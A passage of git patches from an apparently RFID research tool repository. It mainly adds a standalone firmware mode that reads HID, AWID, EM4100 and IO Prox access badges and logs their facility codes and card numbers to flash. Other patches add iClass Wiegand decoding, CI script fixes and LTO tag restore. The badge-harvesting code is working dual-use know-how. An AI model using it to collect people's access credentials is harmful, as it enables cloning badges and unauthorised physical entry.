12800 bytes + //uint8_t *dest = BigBuf_malloc(size); + uint8_t *dest = BigBuf_get_addr(); + + // FSK demodulator + int idx = HIDdemodFSK(dest, &size, &hi2, &hi, &lo, &dummyIdx); + if (idx < 0) { + BigBuf_free(); + return PM3_ESOFT; + } + + if ((size == 96 || size == 192)) { + + uint8_t entry[80]; + memset(entry, 0, sizeof(entry)); + + // go over previously decoded manchester data and decode into usable tag ID + if (hi2 != 0) { //extra large HID tags 88/192 bits + + sprintf((char *)entry, "HID large: %lx%08lx%08lx (%ld) \n", + hi2, + hi, + lo, + (lo >> 1) & 0xFFFF + ); + + append(entry, strlen((char*)entry)); + + } else { //standard HID tags 44/96 bits + uint8_t bitlen = 0; + uint32_t fac = 0; + uint32_t cardnum = 0; + + if (((hi >> 5) & 1) == 1) { //if bit 38 is set then < 37 bit format is used + uint32_t lo2 = 0; + lo2 = (((hi & 31) << 12) | (lo >> 20)); //get bits 21-37 to check for format len bit + uint8_t idx3 = 1; + while (lo2 > 1) { //find last bit set to 1 (format len bit) + lo2 >>= 1; + idx3++; + } + bitlen = idx3 + 19; + fac = 0; + cardnum = 0; + if (bitlen == 26) { + cardnum = (lo >> 1) & 0xFFFF; + fac = (lo >> 17) & 0xFF; + } + if (bitlen == 37) { + cardnum = (lo >> 1) & 0x7FFFF; + fac = ((hi & 0xF) << 12) | (lo >> 20); + } + if (bitlen == 34) { + cardnum = (lo >> 1) & 0xFFFF; + fac = ((hi & 1) << 15) | (lo >> 17); + } + if (bitlen == 35) { + cardnum = (lo >> 1) & 0xFFFFF; + fac = ((hi & 1) << 11) | (lo >> 21); + } + } else { //if bit 38 is not set then 37 bit format is used + bitlen = 37; + cardnum = (lo >> 1) & 0x7FFFF; + fac = ((hi & 0xF) << 12) | (lo >> 20); + } + + sprintf((char *)entry, "HID: %lx%08lx (%ld) Format: %d bit FC: %ld Card: %ld \n", + hi, + lo, + (lo >> 1) & 0xFFFF, + bitlen, + fac, + cardnum + ); + + append(entry, strlen((char*)entry)); + } + + Dbprintf("%s", entry); + } + + BigBuf_free(); + return PM3_SUCCESS; } void ModInfo(void) { - DbpString(" LF HID collector mode - a.k.a IceHID (Iceman)"); + DbpString(" LF HID / IOprox / AWID / EM4100 collector mode - a.k.a IceHID (Iceman)"); } void RunMod() { FpgaDownloadAndGo(FPGA_BITSTREAM_LF); + LFSetupFPGAForADC(LF_DIVISOR_125, true); + BigBuf_Clear(); + StandAloneMode(); + Dbprintf("[=] LF HID collector a.k.a IceHID started"); - + rdv40_spiffs_lazy_mount(); - - bool log_exists = exists_in_spiffs(LF_HIDCOLLECT_LOGFILE); - + + log_exists = exists_in_spiffs(LF_HIDCOLLECT_LOGFILE); + // the main loop for your standalone mode for (;;) { WDT_HIT(); @@ -84,43 +359,45 @@ void RunMod() { if (button_pressed == BUTTON_HOLD) break; - LED_A_ON(); - // findone, high, low, - uint32_t hi = 0, lo = 0; - CmdHIDdemodFSK(1, &hi, &lo, 0); + LED_A_ON(); - LED_A_OFF(); - - //didn't collect any, loop - if (hi == 0 && lo == 0) + uint32_t res; + + // since we steal 12800 from bigbuffer, no need to sample it. + DoAcquisition_config(false, 28000); + res = IceHIDDemod(); + if (res == PM3_SUCCESS) { + LED_A_OFF(); continue; - - uint8_t entry[20]; - memset(entry, 0, sizeof(entry)); - sprintf((char *)entry, "%lx%08lx\n", hi, lo); - - LED_B_ON(); - if (!log_exists) { - rdv40_spiffs_write(LF_HIDCOLLECT_LOGFILE, entry, sizeof(entry), RDV40_SPIFFS_SAFETY_SAFE); - log_exists = true; - } else { - rdv40_spiffs_append(LF_HIDCOLLECT_LOGFILE, entry, sizeof(entry), RDV40_SPIFFS_SAFETY_SAFE); } - LED_B_OFF(); - SpinErr(LED_A, 250, 2); + DoAcquisition_config(false, 28000); + res = IceAWIDdemod(); + if (res == PM3_SUCCESS) { + LED_A_OFF(); + continue; + } + + DoAcquisition_config(false, 20000); + res = IceEM410xdemod(); + if (res == PM3_SUCCESS) { + LED_A_OFF(); + continue; + } + + DoAcquisition_config(false, 28000); + res = IceIOdemod(); + if (res == PM3_SUCCESS) { + LED_A_OFF(); + continue; + } } LED_C_ON(); rdv40_spiffs_lazy_unmount(); LED_C_OFF(); - SpinErr(LED_A, 200, 5); - SpinDelay(100); - LEDsoff(); - SpinDelay(300); DownloadLogInstructions(); - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); } From 5ef1f001dd86d3628520e0802da35ad864a3bbe2 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 3 Feb 2020 22:44:46 +0100 Subject: [PATCH 397/418] extra check if malloc failed --- common/crapto1/crapto1.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/common/crapto1/crapto1.c b/common/crapto1/crapto1.c index 43e45c3db..e697b68f0 100644 --- a/common/crapto1/crapto1.c +++ b/common/crapto1/crapto1.c @@ -376,6 +376,7 @@ uint32_t lfsr_rollback_word(struct Crypto1State *s, uint32_t in, int fb) { static uint16_t *dist = 0; int nonce_distance(uint32_t from, uint32_t to) { if (!dist) { + // allocation 2bytes * 0xFFFF times. dist = calloc(2 << 16, sizeof(uint8_t)); if (!dist) return -1; @@ -396,7 +397,8 @@ int nonce_distance(uint32_t from, uint32_t to) { */ bool validate_prng_nonce(uint32_t nonce) { // init prng table: - nonce_distance(nonce, nonce); + if (nonce_distance(nonce, nonce) == -1) + return false; return ((65535 - dist[nonce >> 16] + dist[nonce & 0xffff]) % 65535) == 16; } From 9d2296f88a11eaef0c236e37c73a87083d7c91d8 Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Tue, 4 Feb 2020 00:10:00 +0200 Subject: [PATCH 398/418] check pm3 dir exist --- appveyor.yml | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/appveyor.yml b/appveyor.yml index f5bb9f32a..d5c610aa0 100644 --- a/appveyor.yml +++ b/appveyor.yml @@ -43,12 +43,15 @@ clone_script: Write-Host "[ OK ]" -ForegroundColor Green - Write-Host "Removing pm3 dir..." -NoNewLine + if(Test-Path -Path C:\ProxSpace\pm3){ - Remove-Item -Recurse -Force -Path c:\ProxSpace\pm3\* + Write-Host "Removing pm3 dir..." -NoNewLine - Write-Host "[ OK ]" -ForegroundColor Green + Remove-Item -Recurse -Force -Path C:\ProxSpace\pm3\* + Write-Host "[ OK ]" -ForegroundColor Green + + } Write-Host "Cloning repository <$env:appveyor_repo_name> to $env:appveyor_build_folder ..." -NoNewLine From 5a6230b6234947402e0f4cec71195cc810d80240 Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Tue, 4 Feb 2020 00:14:09 +0200 Subject: [PATCH 399/418] create pm3 dir --- appveyor.yml | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) diff --git a/appveyor.yml b/appveyor.yml index d5c610aa0..dac0d6c82 100644 --- a/appveyor.yml +++ b/appveyor.yml @@ -43,15 +43,18 @@ clone_script: Write-Host "[ OK ]" -ForegroundColor Green - if(Test-Path -Path C:\ProxSpace\pm3){ + if(!(Test-Path -Path C:\ProxSpace\pm3)){ - Write-Host "Removing pm3 dir..." -NoNewLine + New-Item -ItemType Directory -Force -Path C:\ProxSpace\pm3 - Remove-Item -Recurse -Force -Path C:\ProxSpace\pm3\* + } + + Write-Host "Removing pm3 dir..." -NoNewLine - Write-Host "[ OK ]" -ForegroundColor Green + Remove-Item -Recurse -Force -Path c:\ProxSpace\pm3\* + + Write-Host "[ OK ]" -ForegroundColor Green - } Write-Host "Cloning repository <$env:appveyor_repo_name> to $env:appveyor_build_folder ..." -NoNewLine From 953fcb17a96842298fd3dbdde72d568c757c4560 Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Tue, 4 Feb 2020 00:27:16 +0200 Subject: [PATCH 400/418] setup --- appveyor.yml | 2 ++ 1 file changed, 2 insertions(+) diff --git a/appveyor.yml b/appveyor.yml index dac0d6c82..ca4becf1e 100644 --- a/appveyor.yml +++ b/appveyor.yml @@ -143,6 +143,8 @@ clone_script: Remove-Job -Force $Job } + + C:\ProxSpace\msys2\ps\setup.cmd ExecUpdate "update1" "C:\ProxSpace\msys2\msys2_shell.cmd -mingw32 -defterm -no-start /dev/null" "terminate?MSYS2" From 6871391284b19acc14775693d2197a8c930b5fd7 Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Tue, 4 Feb 2020 00:33:54 +0200 Subject: [PATCH 401/418] add cd --- appveyor.yml | 2 ++ 1 file changed, 2 insertions(+) diff --git a/appveyor.yml b/appveyor.yml index ca4becf1e..7c9eeaccd 100644 --- a/appveyor.yml +++ b/appveyor.yml @@ -144,6 +144,8 @@ clone_script: Remove-Job -Force $Job } + cd C:\ProxSpace\ + C:\ProxSpace\msys2\ps\setup.cmd ExecUpdate "update1" "C:\ProxSpace\msys2\msys2_shell.cmd -mingw32 -defterm -no-start /dev/null" "terminate?MSYS2" From aa0054e6b93d15b58f2e21951df95f88cd08c700 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 4 Feb 2020 00:41:57 +0100 Subject: [PATCH 402/418] chg: trying to decode block 7 when decrypted.. --- client/cmdhficlass.c | 20 ++++++++++++++++---- 1 file changed, 16 insertions(+), 4 deletions(-) diff --git a/client/cmdhficlass.c b/client/cmdhficlass.c index 616f5e2e2..567600d15 100644 --- a/client/cmdhficlass.c +++ b/client/cmdhficlass.c @@ -28,7 +28,8 @@ #include "loclass/elite_crack.h" #include "fileutils.h" #include "protocols.h" - +#include "wiegand_formats.h" +#include "wiegand_formatutils.h" #define NUM_CSNS 9 #define ICLASS_KEYS_MAX 8 @@ -918,6 +919,17 @@ static int CmdHFiClassDecrypt(const char *Cmd) { saveFileJSON(fptr, jsfIclass, decrypted, decryptedlen); printIclassDumpContents(decrypted, 1, (decryptedlen / 8), decryptedlen); + + uint32_t top = 0, mid, bot; + mid = bytes_to_num(decrypted + (8*7), 4); + bot = bytes_to_num(decrypted + (8*7) + 4, 4); + + PrintAndLogEx(INFO, ""); + PrintAndLogEx(INFO, "block 7 - Wiegand decode"); + wiegand_message_t packed = initialize_message_object(top, mid, bot); + HIDTryUnpack(&packed, true); + PrintAndLogEx(INFO, "-----------------------------------------------------------------"); + free(decrypted); free(fptr); } @@ -1871,13 +1883,13 @@ void printIclassDumpContents(uint8_t *iclass_dump, uint8_t startblock, uint8_t e //PrintAndLog ("startblock: %d, endblock: %d, filesize: %d, maxmemcount: %d, filemaxblock: %d",startblock, endblock,filesize, maxmemcount, filemaxblock); int i = startblock; - PrintAndLogEx(NORMAL, "------+--+-------------------------+"); + PrintAndLogEx(INFO, "------+--+-------------------------+----------"); while (i <= endblock) { uint8_t *blk = iclass_dump + (i * 8); - PrintAndLogEx(NORMAL, " |%02X| %s", i, sprint_hex_ascii(blk, 8)); + PrintAndLogEx(INFO, " |%02X| %s", i, sprint_hex_ascii(blk, 8)); i++; } - PrintAndLogEx(NORMAL, "------+--+-------------------------+"); + PrintAndLogEx(INFO, "------+--+-------------------------+----------"); } static int CmdHFiClassReadTagFile(const char *Cmd) { From da88b28b2ea49b2efc3a21c66fc29a0e1ff5bc7e Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Tue, 4 Feb 2020 08:59:57 +0200 Subject: [PATCH 403/418] add cd --- appveyor.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/appveyor.yml b/appveyor.yml index 7c9eeaccd..b2ab84fb4 100644 --- a/appveyor.yml +++ b/appveyor.yml @@ -183,6 +183,7 @@ build_script: $env:MSYSTEM_CHOST="i686-w64-mingw32" + cd C:\ProxSpace\pm3 #make From a9ffcc68924bef278e445be739945a2d477d3a2e Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 4 Feb 2020 17:37:19 +0100 Subject: [PATCH 404/418] textual --- armsrc/Standalone/lf_icehid.c | 46 ++++++++++++----------------------- 1 file changed, 16 insertions(+), 30 deletions(-) diff --git a/armsrc/Standalone/lf_icehid.c b/armsrc/Standalone/lf_icehid.c index 560630dbb..69ace7bd8 100644 --- a/armsrc/Standalone/lf_icehid.c +++ b/armsrc/Standalone/lf_icehid.c @@ -105,7 +105,7 @@ uint32_t IceEM410xdemod() { memset(entry, 0, sizeof(entry)); if (size == 128) { - sprintf((char *)entry, "EM XL TAG ID: %06lx%08lx%08lx - (%05ld_%03ld_%08ld)", + sprintf((char *)entry, "EM XL TAG ID: %06lx%08lx%08lx - (%05ld_%03ld_%08ld)\n", hi, (uint32_t)(lo >> 32), (uint32_t)lo, @@ -113,7 +113,7 @@ uint32_t IceEM410xdemod() { (uint32_t)((lo >> 16LL) & 0xFF), (uint32_t)(lo & 0xFFFFFF)); } else { - sprintf((char *)entry, "EM TAG ID: %02lx%08lx - (%05ld_%03ld_%08ld)", + sprintf((char *)entry, "EM TAG ID: %02lx%08lx - (%05ld_%03ld_%08ld)\n", (uint32_t)(lo >> 32), (uint32_t)lo, (uint32_t)(lo & 0xFFFF), @@ -122,8 +122,6 @@ uint32_t IceEM410xdemod() { } append(entry, strlen((char*)entry)); - Dbprintf("strlen %d", strlen((char*)entry)); - Dbprintf("%s", entry); BigBuf_free(); return PM3_SUCCESS; @@ -162,16 +160,16 @@ uint32_t IceAWIDdemod() { uint8_t fac = bytebits_to_byte(dest + 9, 8); uint32_t cardnum = bytebits_to_byte(dest + 17, 16); uint32_t code1 = bytebits_to_byte(dest + 8, fmtLen); - sprintf((char *)entry, "AWID bit len: %d, FC: %d, Card: %ld - Wiegand: %lx, Raw: %08lx%08lx%08lx \n", fmtLen, fac, cardnum, code1, rawHi2, rawHi, rawLo); + sprintf((char *)entry, "AWID bit len: %d, FC: %d, Card: %ld - Wiegand: %lx, Raw: %08lx%08lx%08lx\n", fmtLen, fac, cardnum, code1, rawHi2, rawHi, rawLo); } else { uint32_t cardnum = bytebits_to_byte(dest + 8 + (fmtLen - 17), 16); if (fmtLen > 32) { uint32_t code1 = bytebits_to_byte(dest + 8, fmtLen - 32); uint32_t code2 = bytebits_to_byte(dest + 8 + (fmtLen - 32), 32); - sprintf((char *)entry, "AWID bit len: %d -unk bit len - Card: %ld - Wiegand: %lx%08lx, Raw: %08lx%08lx%08lx \n", fmtLen, cardnum, code1, code2, rawHi2, rawHi, rawLo); + sprintf((char *)entry, "AWID bit len: %d -unk bit len - Card: %ld - Wiegand: %lx%08lx, Raw: %08lx%08lx%08lx\n", fmtLen, cardnum, code1, code2, rawHi2, rawHi, rawLo); } else { uint32_t code1 = bytebits_to_byte(dest + 8, fmtLen); - sprintf((char *)entry, "AWID bit len: %d -unk bit len - Card: %ld - Wiegand: %lx, Raw: %08lx%08lx%08lx \n", fmtLen, cardnum, code1, rawHi2, rawHi, rawLo); + sprintf((char *)entry, "AWID bit len: %d -unk bit len - Card: %ld - Wiegand: %lx, Raw: %08lx%08lx%08lx\n", fmtLen, cardnum, code1, rawHi2, rawHi, rawLo); } } @@ -184,8 +182,8 @@ uint32_t IceAWIDdemod() { uint32_t IceIOdemod() { int dummyIdx = 0; - uint8_t version = 0, facilitycode = 0, crc = 0; - uint16_t number = 0, calccrc = 0; + uint8_t version = 0, facilitycode = 0; + uint16_t number = 0; uint32_t hi = 0, lo = 0; size_t size = MIN(12000, BigBuf_max_traceLen()); @@ -208,31 +206,19 @@ uint32_t IceIOdemod() { facilitycode = bytebits_to_byte(dest + idx + 18, 8); number = (bytebits_to_byte(dest + idx + 36, 8) << 8) | (bytebits_to_byte(dest + idx + 45, 8)); //36,9 - crc = bytebits_to_byte(dest + idx + 54, 8); - for (uint8_t i = 1; i < 6; ++i) - calccrc += bytebits_to_byte(dest + idx + 9 * i, 8); - - calccrc &= 0xff; - calccrc = 0xff - calccrc; - - char *crcStr = (crc == calccrc) ? "ok" : "!crc"; - uint8_t entry[64]; memset(entry, 0, sizeof(entry)); - sprintf((char *)entry, "IO Prox XSF(%02d)%02x:%05d (%08lx%08lx) [%02x %s] \n" + sprintf((char *)entry, "IO Prox XSF(%02d)%02x:%05d (%08lx%08lx)\n" , version , facilitycode , number , hi , lo - , crc - , crcStr ); - + append(entry, strlen((char*)entry)); Dbprintf("%s", entry); - BigBuf_free(); return PM3_SUCCESS; } @@ -263,7 +249,7 @@ uint32_t IceHIDDemod() { // go over previously decoded manchester data and decode into usable tag ID if (hi2 != 0) { //extra large HID tags 88/192 bits - sprintf((char *)entry, "HID large: %lx%08lx%08lx (%ld) \n", + sprintf((char *)entry, "HID large: %lx%08lx%08lx (%ld)\n", hi2, hi, lo, @@ -271,7 +257,7 @@ uint32_t IceHIDDemod() { ); append(entry, strlen((char*)entry)); - + } else { //standard HID tags 44/96 bits uint8_t bitlen = 0; uint32_t fac = 0; @@ -309,8 +295,8 @@ uint32_t IceHIDDemod() { cardnum = (lo >> 1) & 0x7FFFF; fac = ((hi & 0xF) << 12) | (lo >> 20); } - - sprintf((char *)entry, "HID: %lx%08lx (%ld) Format: %d bit FC: %ld Card: %ld \n", + + sprintf((char *)entry, "HID: %lx%08lx (%ld) Format: %d bit FC: %ld Card: %ld\n", hi, lo, (lo >> 1) & 0xFFFF, @@ -318,7 +304,7 @@ uint32_t IceHIDDemod() { fac, cardnum ); - + append(entry, strlen((char*)entry)); } @@ -330,7 +316,7 @@ uint32_t IceHIDDemod() { } void ModInfo(void) { - DbpString(" LF HID / IOprox / AWID / EM4100 collector mode - a.k.a IceHID (Iceman)"); + DbpString(_YELLOW_(" LF HID / IOprox / AWID / EM4100 collector mode") " - a.k.a IceHID (Iceman)"); } void RunMod() { @@ -341,7 +327,7 @@ void RunMod() { StandAloneMode(); - Dbprintf("[=] LF HID collector a.k.a IceHID started"); + Dbprintf(_YELLOW_("[=] Standalone mode IceHID started")); rdv40_spiffs_lazy_mount(); From 0be6737ad903e85340ff8a900d310a492c7cbff4 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 4 Feb 2020 17:38:02 +0100 Subject: [PATCH 405/418] debug state --- common/lfdemod.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/common/lfdemod.c b/common/lfdemod.c index 325294258..4dcd46172 100644 --- a/common/lfdemod.c +++ b/common/lfdemod.c @@ -1656,7 +1656,7 @@ int askdemod_ext(uint8_t *bits, size_t *size, int *clk, int *invert, int maxErr, return errCnt; } - prnt("DEBUG: (askdemod_ext) Weak wave detected: startIdx %i", *startIdx); + if (g_debugMode == 2) prnt("DEBUG: (askdemod_ext) Weak wave detected: startIdx %i", *startIdx); int lastBit; //set first clock check - can go negative size_t i, bitnum = 0; //output counter From 189523b190a05f738ed5c02d3715feb064ef3af8 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 4 Feb 2020 17:38:47 +0100 Subject: [PATCH 406/418] textual layout in printing formats --- client/wiegand_formats.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/wiegand_formats.c b/client/wiegand_formats.c index a535bc614..0c3c09fb6 100644 --- a/client/wiegand_formats.c +++ b/client/wiegand_formats.c @@ -687,7 +687,7 @@ static void HIDDisplayUnpackedCard(wiegand_card_t *card, const cardformat_t form if (format.Fields.hasParity) snprintf(s + strlen(s), sizeof(s) - strlen(s), " parity: %s", card->ParityValid ? "valid" : "invalid"); - PrintAndLogEx(SUCCESS, "%s [%s - %s]", s, format.Name, format.Descrp); + PrintAndLogEx(SUCCESS, "[%s] - %s; %s", format.Name, format.Descrp, s); } bool HIDTryUnpack(wiegand_message_t *packed, bool ignore_parity) { From 3e3dc83789d4a45a35d78dabee32847e0faa77c7 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 4 Feb 2020 17:39:59 +0100 Subject: [PATCH 407/418] filter ansi --- client/flash.c | 16 ++++++++++++---- 1 file changed, 12 insertions(+), 4 deletions(-) diff --git a/client/flash.c b/client/flash.c index a3d438757..1f898f9d3 100644 --- a/client/flash.c +++ b/client/flash.c @@ -13,6 +13,7 @@ #include #include #include +#include #include "ui.h" #include "elf.h" @@ -534,6 +535,9 @@ int flash_write(flash_file_t *ctx) { int len = 0; PrintAndLogEx(SUCCESS, "Writing segments for file: %s", ctx->filename); + + bool filter_ansi = !session.supports_colors; + for (int i = 0; i < ctx->num_segs; i++) { flash_seg_t *seg = &ctx->segments[i]; @@ -561,11 +565,15 @@ int flash_write(flash_file_t *ctx) { baddr += block_size; length -= block_size; block++; - if ( len < strlen(ice) ) - fprintf(stdout, "%c", ice[len++]); - else + if ( len < strlen(ice) ) { + if (filter_ansi && !isalpha(ice[len]) ) { + len++; + } else { + fprintf(stdout, "%c", ice[len++]); + } + } else { fprintf(stdout, "."); - + } fflush(stdout); } PrintAndLogEx(NORMAL, " " _GREEN_("OK")); From 3924d71f3705d15e31415708f1c8ba7cf965b95a Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 4 Feb 2020 21:57:33 +0100 Subject: [PATCH 408/418] too small chararray --- armsrc/Standalone/lf_icehid.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/armsrc/Standalone/lf_icehid.c b/armsrc/Standalone/lf_icehid.c index 69ace7bd8..77f04024e 100644 --- a/armsrc/Standalone/lf_icehid.c +++ b/armsrc/Standalone/lf_icehid.c @@ -101,7 +101,7 @@ uint32_t IceEM410xdemod() { return PM3_ESOFT; } - uint8_t entry[60]; + uint8_t entry[81]; memset(entry, 0, sizeof(entry)); if (size == 128) { From 7e57bc4ed15a0098f992ebe314b5e5caa9454f43 Mon Sep 17 00:00:00 2001 From: Jan Neduchal Date: Wed, 5 Feb 2020 16:32:21 +0100 Subject: [PATCH 409/418] Fixed the url as the service has moved --- client/cmdsmartcard.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/cmdsmartcard.c b/client/cmdsmartcard.c index 7a892a8e0..6422fe605 100644 --- a/client/cmdsmartcard.c +++ b/client/cmdsmartcard.c @@ -740,7 +740,7 @@ static int CmdSmartInfo(const char *Cmd) { PrintAndLogEx(INFO, "--- Smartcard Information ---------"); PrintAndLogEx(INFO, "-------------------------------------------------------------"); PrintAndLogEx(INFO, "ISO7618-3 ATR : %s", sprint_hex(card.atr, card.atr_len)); - PrintAndLogEx(INFO, "\nhttp://smartcard-atr.appspot.com/parse?ATR=%s", sprint_hex_inrow(card.atr, card.atr_len)); + PrintAndLogEx(INFO, "\nhttp://smartcard-atr.apdu.fr/parse?ATR=%s", sprint_hex_inrow(card.atr, card.atr_len)); // print ATR PrintAndLogEx(NORMAL, ""); From 71168956541e5398597c8f1483efb75ac8f2a8e9 Mon Sep 17 00:00:00 2001 From: Kevin-Nakamoto Date: Thu, 6 Feb 2020 13:38:58 -0500 Subject: [PATCH 410/418] added hf lto restore and fix filename for dump --- CHANGELOG.md | 1 + client/cmdhflto.c | 134 ++++++++++++++++++++++++++++++++++++++++++---- client/cmdhflto.h | 3 +- 3 files changed, 127 insertions(+), 11 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 77aefb23b..8a36b58da 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] + - Added `hf lto restore` - restore LTO cartridge memory from dump file [.bin|.eml] (@Kevin-Nakamoto) - Added `LF_ICEHID` standalone mode which searches for lf HID credentials and store to RDV4 flashmem (@iceman1001) - Added `HF_14ASNIFF` standalone mode with storing trace to RDV4 flashmem (@micolous) - Added `hf lto dump` - dump 8160 bytes of data from LTO cartridge memory and save to file (@Kevin-Nakamoto) diff --git a/client/cmdhflto.c b/client/cmdhflto.c index d38cfdf25..b4700cca0 100644 --- a/client/cmdhflto.c +++ b/client/cmdhflto.c @@ -72,6 +72,17 @@ static int usage_lto_dump(void) { return PM3_SUCCESS; } +static int usage_lto_restore(void) { + PrintAndLogEx(NORMAL, "Usage: hf lto restore [h] f "); + PrintAndLogEx(NORMAL, "Options:"); + PrintAndLogEx(NORMAL, " h this help"); + PrintAndLogEx(NORMAL, " f file name [.bin|.eml]"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, "Examples:"); + PrintAndLogEx(NORMAL, " hf lto restore f hf_lto_92C7842CFF.bin|.eml"); + return PM3_SUCCESS; +} + static void lto_switch_off_field(void) { SendCommandMIX(CMD_HF_ISO14443A_READER, 0, 0, 0, NULL, 0); } @@ -179,7 +190,6 @@ static int CmdHfLTOInfo(const char *Cmd) { int infoLTO(bool verbose) { clearCommandBuffer(); - lto_switch_on_field(); uint8_t serial_number[5]; @@ -226,7 +236,6 @@ static int lto_rdbl(uint8_t blk, uint8_t *block_responce, uint8_t *block_cnt_res int rdblLTO(uint8_t st_blk, uint8_t end_blk, bool verbose) { clearCommandBuffer(); - lto_switch_on_field(); uint8_t serial_number[5]; @@ -343,7 +352,7 @@ static int lto_wrbl(uint8_t blk, uint8_t *data, bool verbose) { int wrblLTO(uint8_t blk, uint8_t *data, bool verbose) { clearCommandBuffer(); - lto_switch_on_field(); + lto_switch_on_field(); uint8_t serial_number[5]; uint8_t serial_len = sizeof(serial_number); @@ -413,11 +422,13 @@ static int CmdHfLTOWriteBlock(const char *Cmd) { return wrblLTO(blk, blkData, true); } -int dumpLTO(uint8_t *serial_number, uint8_t serial_len, uint8_t *dump, bool verbose) { +int dumpLTO(uint8_t *dump, bool verbose) { clearCommandBuffer(); lto_switch_on_field(); + uint8_t serial_number[5]; + uint8_t serial_len = sizeof(serial_number); uint8_t type_info[2]; int ret_val = lto_select(serial_number, serial_len, type_info, verbose); @@ -455,7 +466,7 @@ static int CmdHfLTODump(const char *Cmd) { bool errors = false; uint32_t dump_len = CM_MEM_MAX_SIZE; char filename[FILE_PATH_SIZE] = {0}; - uint8_t serial_number[5] = {0}; + char serial_number[10] = {0}; while (param_getchar(Cmd, cmdp) != 0x00 && !errors) { switch (tolower(param_getchar(Cmd, cmdp))) { @@ -490,7 +501,7 @@ static int CmdHfLTODump(const char *Cmd) { } // loop all blocks - int ret_val = dumpLTO(serial_number, sizeof(serial_number), dump, true); + int ret_val = dumpLTO(dump, true); if (ret_val != PM3_SUCCESS) { free(dump); return ret_val; @@ -498,7 +509,10 @@ static int CmdHfLTODump(const char *Cmd) { // save to file if (filename[0] == '\0') { - memcpy(filename, sprint_hex_inrow(serial_number, sizeof(serial_number)), sizeof(serial_number) * 2); + memcpy(serial_number, sprint_hex_inrow(dump, sizeof(serial_number)), sizeof(serial_number) * 2); + char tmp_name[17] = "hf_lto_"; + strcat(tmp_name, serial_number); + memcpy(filename, tmp_name, sizeof(tmp_name)); } saveFile(filename, ".bin", dump, dump_len); saveFileEML(filename, dump, dump_len, 32); @@ -509,10 +523,111 @@ static int CmdHfLTODump(const char *Cmd) { return PM3_SUCCESS; } +int restoreLTO(uint8_t *dump_data, bool verbose) { + + clearCommandBuffer(); + lto_switch_on_field(); + + uint8_t type_info[2]; + uint8_t serial_number[5]; + uint8_t serial_len = sizeof(serial_number); + int ret_val = lto_select(serial_number, serial_len, type_info, verbose); + + if (ret_val != PM3_SUCCESS) { + lto_switch_off_field(); + return ret_val; + } + + uint8_t blkData[32] = {0}; + + //Block address 0 and 1 are read-only + for(uint8_t blk = 2; blk < 255; blk++) { + + for (int i = 0; i < 32; i++) { + blkData[i] = dump_data[i + blk * 32]; + } + + ret_val = lto_wrbl(blk, blkData, verbose); + + if (ret_val != PM3_SUCCESS) { + lto_switch_off_field(); + return ret_val; + } + } + + lto_switch_off_field(); + return ret_val; +} + +static int CmdHfLTRestore(const char *Cmd) { + + uint8_t cmdp = 0; + bool errors = false; + int is_data_loaded = PM3_ESOFT; + + char filename[FILE_PATH_SIZE] = {0}; + char extension[FILE_PATH_SIZE] = {0}; + + uint8_t dump_data[CM_MEM_MAX_SIZE] = {0}; + size_t dump_datalen = 0; + + while (param_getchar(Cmd, cmdp) != 0x00 && !errors) { + switch (tolower(param_getchar(Cmd, cmdp))) { + case 'h': + return usage_lto_restore(); + case 'f': + param_getstr(Cmd, cmdp + 1, filename, FILE_PATH_SIZE); + if (strlen(filename) == 0) + errors = true; + cmdp += 2; + break; + default: + PrintAndLogEx(WARNING, "unknown parameter '%c'", param_getchar(Cmd, cmdp)); + errors = true; + break; + } + } + + if (errors || (strlen(filename)) == 0) { + usage_lto_restore(); + return PM3_EINVARG; + } + + // split file name into prefix and ext. + int fnLength; + + fnLength = strlen(filename); + + if (fnLength > 4) { + memcpy(extension, &filename[fnLength - 4], 4); + extension[5] = 0x00; + + // check if valid file extension and attempt to load data + if (memcmp(extension, ".bin", 4) == 0) { + filename[fnLength - 4] = 0x00; + is_data_loaded = loadFile(filename, ".bin", dump_data, sizeof(dump_data), &dump_datalen); + + } else if (memcmp(extension, ".eml", 4) == 0) { + filename[fnLength - 4] = 0x00; + dump_datalen = 12; + is_data_loaded = loadFileEML(filename, (uint8_t *)dump_data, &dump_datalen); + + } else + PrintAndLogEx(WARNING, "\nWarning: invalid dump filename "_YELLOW_("%s")"to restore!\n", filename); + } + + if (is_data_loaded == PM3_SUCCESS) { + return restoreLTO(dump_data, true); + } else { + return PM3_EFILE; + } + +} + static command_t CommandTable[] = { {"help", CmdHelp, AlwaysAvailable, "This help"}, - {"dump", CmdHfLTODump, IfPm3Iso14443a, "Dump LTO-CM tag to file"}, -// {"restore", CmdHfLTRestore, IfPm3Iso14443a, "Restore dump file to LTO-CM tag"}, + {"dump", CmdHfLTODump, IfPm3Iso14443a, "Dump LTO-CM tag to file"}, + {"restore", CmdHfLTRestore, 